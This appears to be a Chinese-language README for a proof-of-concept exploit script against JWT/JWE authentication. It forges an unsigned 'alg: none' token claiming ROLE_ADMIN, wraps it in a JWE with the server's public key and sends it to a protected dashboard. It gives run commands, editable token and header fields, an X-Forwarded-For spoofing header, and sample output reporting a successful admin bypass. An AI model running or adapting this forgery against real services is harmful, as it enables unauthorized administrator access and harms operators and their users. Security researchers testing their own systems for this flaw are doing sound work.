一个概念验证 (PoC) 脚本,演示利用 JSON Web 令牌 (JWT) 和 JSON Web 加密 (JWE) 实现的认证绕过漏洞。该工具通过接受未经验证的 JWT(alg: none)并将其包裹在有效的 JWE 结构中,来利用那些未正确验证令牌算法的环境。
该漏洞利用链利用了常见的加密实现缺陷:
jwks(JSON Web 密钥集)端点,并下载服务器的 RSA 公钥。ROLE_ADMIN 权限。故意将算法头部设置为 "alg": "none"。Authorization: Bearer 头部发送到目标受保护的面板。如果服务器解密了 JWE 并盲目信任内部的 JWT 而不验证其签名,则访问被授予。运行脚本前,请确保已安装 Python 3 以及必要的依赖项。
pip install requests jwcrypto
脚本需要两个参数:要测试的目标面板 URL,以及托管公钥的 URL。
python3 exploit.py <TARGET_URL_OF_PROTECTED_ENDPOINT> <JWKS_ENDPOINT_URL>
根据你的目标,你可能需要调整令牌结构或 HTTP 请求以绕过特定的过滤器。
如果目标服务器期望 JWT 本身包含特定字段(例如 typ 头部,或负载中的自定义用户 ID),你可以轻松添加它们。
打开 exploit.py 并找到以下部分:
token_header_information = {
"alg": "none"
}
token_user_information = {
"sub": "admin",
"role": "ROLE_ADMIN",
"iss": "principal-platform",
"iat": current_time_in_seconds,
"exp": expiration_time_in_seconds
}
你可以添加任何想要的字段,用逗号分隔。例如,向 JWT 头部添加 typ(类型)和 kid(密钥 ID),并向负载添加自定义电子邮件:
token_header_information = {
"alg": "none",
"typ": "JWT",
"kid": "my-custom-key-id"
}
token_user_information = {
"sub": "admin",
"email": "[email protected]",
"role": "ROLE_ADMIN",
"iss": "principal-platform",
"iat": current_time_in_seconds,
"exp": expiration_time_in_seconds
}
如果你的目标需要特定的网络头部(例如自定义 User-Agent、绕过头部如 X-Forwarded-For 或 API 密钥),请找到脚本底部的网络请求部分:
custom_authorization_header = {
"Authorization": "Bearer " + final_forged_token
}
像这样添加额外的网络头部:
custom_authorization_header = {
"Authorization": "Bearer " + final_forged_token,
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64)",
"X-Forwarded-For": "127.0.0.1",
"Accept": "application/json"
}
注意:如果你还需要在初始公钥下载时发送这些头部,你可以将相同的字典传递给脚本顶部的 requests.get() 调用。
成功时,脚本将输出伪造的令牌以及从受限端点解析的响应,证实绕过成功:
Starting process...
Connecting to download public keys from: https://target-site.com/api/auth/jwks
Success! Downloaded the key with ID: 12345-abcde
Creating a fake administrator identity card...
Encrypting our fake identity using the server's public key...
Successfully created the encrypted master token!
Here is your forged token:
eyJhbGciOiJSU0EtT0FFUC...
Attempting to break into the dashboard...
Sending our forged token to: https://target-site.com/api/dashboard
SUCCESS! We bypassed the security.
The server thinks we are:
Username: admin
Account Type: ROLE_ADMIN
HTTP 401/403 错误:目标服务器正确验证了签名并拒绝了 alg: none 负载。由于目标是安全的,漏洞利用失败。
连接错误:确保提供的 URL 包含完整的协议(http:// 或 https://),并且目标服务器当前可访问。
依赖项错误:确保已通过 pip 正确安装 jwcrypto。